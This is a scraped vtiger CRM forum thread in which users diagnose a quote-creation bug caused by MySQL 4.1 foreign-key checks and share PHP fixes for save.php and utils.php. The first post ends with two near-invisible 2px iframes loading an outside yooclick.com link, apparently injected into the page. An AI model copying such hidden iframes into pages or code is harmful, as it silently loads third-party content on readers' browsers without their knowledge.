Bug in Quote Creation

Hi!

When i create a Quote i don´t any erros, but, when i will see the detais after the creation e get every field empty, no products in the quotes, nothing, the same when i try edit the recently created Quote.

I see the Log and in the moment of creation in the log i´m getting this error:
09/30/05 16:18:13,388 [696] DEBUG VT - Message ->query being executed : select * from inventorynotification where notificationname='QuoteNotification'
09/30/05 16:18:13,390 [696] INFO VT - Message ->checkconnect using old connection
09/30/05 16:18:13,396 [696] DEBUG VT - Message ->Inside SendMailToCustomer function.
09/30/05 16:18:13,816 [696] DEBUG VT - Message ->query being executed : select * from users where id= 1
09/30/05 16:18:13,819 [696] INFO VT - Message ->checkconnect using old connection
09/30/05 16:18:13,827 [696] DEBUG VT - Message ->query being executed : select * from systems where server_type='email'
09/30/05 16:18:13,830 [696] INFO VT - Message ->checkconnect using old connection
09/30/05 16:18:24,182 [696] DEBUG VT - Message ->query being executed : insert into quotesproductrel values(10,6,1,15.00)
09/30/05 16:18:24,185 [696] INFO VT - Message ->checkconnect using old connection
09/30/05 16:18:24,190 [696] FATAL VT - PearDatabase ->ADODB error Query Failed:insert into quotesproductrel values(10,6,1,15.00)::->[1216]Cannot add or update a child row: a foreign key constraint fails
09/30/05 16:18:24,193 [696] DEBUG VT - Message ->Inside Quote updateStk function.
09/30/05 16:18:24,196 [696] DEBUG VT - Message ->Product Id is6
09/30/05 16:18:24,198 [696] DEBUG VT - Message ->Qty is1
09/30/05 16:18:24,201 [696] INFO VT - Message ->in getproductname 6
09/30/05 16:18:24,204 [696] DEBUG VT - Message ->query being executed : select productname from products where productid=6
09/30/05 16:18:24,206 [696] INFO VT - Message ->checkconnect using old connection
09/30/05 16:18:24,230 [696] DEBUG VT - Message ->query being executed : select qtyinstock from products where productid=6
09/30/05 16:18:24,233 [696] INFO VT - Message ->checkconnect using old connection
09/30/05 16:18:24,238 [696] DEBUG VT - Message ->Prd Qty in Stock 100
09/30/05 16:18:24,241 [696] DEBUG VT - Message ->query being executed : select reorderlevel from products where productid=6
09/30/05 16:18:24,243 [696] INFO VT - Message ->checkconnect using old connection
09/30/05 16:18:24,248 [696] DEBUG VT - Message ->Prd reorder level 10
09/30/05 16:18:24,250 [696] DEBUG index - Saved record with id of 10


I need solve this problem fast as i can.

Thanks

Léo <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 10 Comments sorted by Votes Date Added
  • well, no one answer me, but i solved the problem and i will try explain...

    when the system is trying to create the quote, it uses one foreign key for contact id, and other to potential id...
    the problem happen cause i´m using the mysql 4.1 and when happen an insert of a value to a foreign key, it does not accept '', in its place place null, well, to solve this... place this lines of code in the "modules/quotes/save.php"
    foreach&#40;$focus-&gt;column_fields as $fieldname =&gt; $val&#41;
    &#123;
    	if&#40;isset&#40;$_request&#91;$fieldname&#93;&#41;&#41;
    	&#123;
    		$value = $_request&#91;$fieldname&#93;;
    
                    // new lines here
                    if&#40;empty&#40;$value&#41;&#41;
                    &#123;
                          $value = 'null';
                    &#125;
    
    		//echo '&lt;br&gt;';
    		//echo $fieldname&#46;&quot;         &quot;&#46;$value;
    		//echo '&lt;br&gt;';
    		$focus-&gt;column_fields&#91;$fieldname&#93; = $value;
    	&#125;
    		
    &#125;
    

    sorry by the bad english,
    hope have helped.

    léo willian kölln
  • thanks a lot , leokolln!
    yesterday night i began to look for solution for the bug which you posted.but i did not find any solution until i reviewed the bug again.
    there is nothing about the bug in the mysql manual.

    best regards

    dfar
    <!-- m --><a class="postlink" href="http://www.c3crm.com">http://www.c3crm.com</a><!-- m -->
  • well, a bug killed, other born...

    because of the correction, other issue happen, when you try to list the quotes what you have created, you get an error like this...
    fatal error: call to a member function on a non-object in c:\arquivos de programas\apache group\apache2\htdocs\include\database\peardatabase.php on line 434

    this happen cause the system try to find a null id of potential... and we don´t have a potential...

    to solve this open the file "include/utils.php" and edit

    [at line 3127 (or something around this)]
    in place of:
    elseif&#40;$module == 'quotes' &amp;&amp; $name == 'potential name'&#41;
    &#123;
    	$potential_id = $adb-&gt;query_result&#40;$list_result,$i-1,&quot;potentialid&quot;&#41;;
    	$potential_name = getpotentialname&#40;$potential_id&#41;;
    	$value = '&lt;a ref=&quot;index&#46;php?module=potentials&amp;action=detailview&amp;record='&#46;$potential_id&#46;'&quot;&gt;'&#46;$potential_name&#46;'&lt;/a&gt;';
    &#125;
    

    put:
    elseif&#40;$module == 'quotes' &amp;&amp; $name == 'potential name'&#41;
    &#123;
    	$potential_id = $adb-&gt;query_result&#40;$list_result,$i-1,&quot;potentialid&quot;&#41;;
    	if&#40;!empty&#40;$potential_id&#41;&#41;
    	&#123;
    		$potential_name = getpotentialname&#40;$potential_id&#41;;
    		$value = '&lt;a href=&quot;index&#46;php?module=potentials&amp;action=detailview&amp;record='&#46;$potential_id&#46;'&quot;&gt;'&#46;$potential_name&#46;'&lt;/a&gt;';
    	&#125;
    	else
    	&#123;
    		$value = '';
    	&#125;
    &#125;
    

    this solved the problem for me, hope for you too... please post here if something like this happen... or more...

    for the vtiger developers:
    i think this type of problem is everywere in the system, please take a look on those problems, of if some one read this, please post here.

    thanks,

    léo willian kölln
  • please try my collection if fixes for utils.php in this thread:

    <!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?p=12987#12987">http://forums.vtiger.com/viewtopic.php?p=12987#12987</a><!-- m -->
  • i tried your patch, but then it only works if i let all the fields empty!
    any thought?
  • oups sorry, ignore my previous post, i can put anything i want, but why can't i put any other value than "null" like "--" or "___" ??? in the code?
  • i found that applying the 4.2.4 rc2 overwrite/"patch", and the utils.php in <!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?p=12987">http://forums.vtiger.com/viewtopic.php?p=12987</a><!-- m --> and the replacement given by leokolln above, i can create quotes without error, even if the potential id is null.

    somebody, please, get this merged in cvs.

    thanks,
    ken
  • hi vtiger team,

    i have the same problem... v4.2.4 with a bug in quote creation. will you provide a patch or can i replace my utils.php with the solution above?

    thanks!
    fernando

    yes confirmed in my 4.2.4, the bug is caused because potential is not a required field when creating a quote. if you create a quote without potential the fatal error occurs.
  • leokolln solution (in this post) does appear to work.
Sign In or Register to comment.